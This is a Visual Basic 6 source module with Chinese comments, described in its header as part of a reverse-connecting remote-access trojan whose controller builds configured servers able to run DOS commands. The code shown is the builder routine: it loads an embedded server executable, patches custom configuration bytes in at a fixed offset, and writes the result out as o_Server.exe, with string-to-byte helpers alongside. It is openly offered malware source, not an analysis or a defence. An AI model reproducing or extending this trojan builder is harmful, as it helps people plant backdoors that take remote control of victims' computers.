module1.bas

VB 远程木马,反向连接,主控端可以生成有配置信息的服务端,可以执行DOS命令

Attribute VB_Name = "Module1"
'定义一个常量，这个常量的大小由服务端程序中的配置数据的偏移决定
'可以在服务端程序中定义一个由同一个字符组成的长字符串常量，然后用winhex等16进制编辑软件打开服务端程序找到这一串字符来确定
'这里的1a4c就是服务端中字符"X"的偏移，如果修改了服务端，这里也要作相应的调整
Public Const OffSet = &H1A4C

Public Function CreateServer(ByVal cdir As String, ByRef cData() As Byte) As Integer
    Dim i As Long, ff As Integer, datalen As Long, resData() As Byte, k As Long
    resData = LoadResData(2, "BIN")
    datalen = UBound(cData)
    k = 1
    For i = 0 To datalen - 1
        resData(OffSet + i) = cData(i) '这里就是用自定义的配置信息来替换原来的信息
    Next
    ff = FreeFile
    Open cdir & "\o_Server.exe" For Binary As #ff
    Put #ff, , resData
    Close #ff
    CreateServer = 0
End Function

Public Function GetCharByte(ByVal OneChar As Integer, ByVal IsHighByte As Boolean) As Byte ' 该函数获得一个字符的高字节或低字节
    If IsHighByte Then
        If OneChar >= 0 Then
            GetCharByte = CByte(OneChar \ 256)
            '右移8位，得到高字节
        Else
            GetCharByte = CByte((OneChar And &H7FFF) \ 256) Or &H80
        End If
        Exit Function
    Else
        GetCharByte = CByte(OneChar And &HFF)
        '屏蔽掉高字节，得到低字节
        Exit Function
    End If
End Function

Public Sub StrToByte(StrToChange As String, ByteArray() As Byte)
    '该函数将一个字符串转换成字节数组
    Dim LowBound, UpBound As Integer
    Dim i, count, length As Integer
    Dim OneChar As Integer

    count = 0
    length = Len(StrToChange)
    LowBound = LBound(ByteArray)
    UpBound = UBound(ByteArray)

    For i = LowBound To UpBound
        ByteArray(i) = 0 '初始化字节数组
    Next

    For i = LowBound To UpBound
        count = count + 1
        If count <= length Then
            OneChar = Asc(Mid(StrToChange, count, 1))

            If (OneChar > 255) Or (OneChar < 0) Then
                '该字符是非ASCII字符
                ByteArray(i) = GetCharByte(OneChar, True) '得到高字节
                i = i + 1
                    If i <= UpBound Then ByteArray(i) = GetCharByte(OneChar, False)
                    '得到低字节
            Else
                '该字符是ASCII字符
                ByteArray(i) = OneChar
            End If
        Else
            Exit For
        End If
    Next
End Sub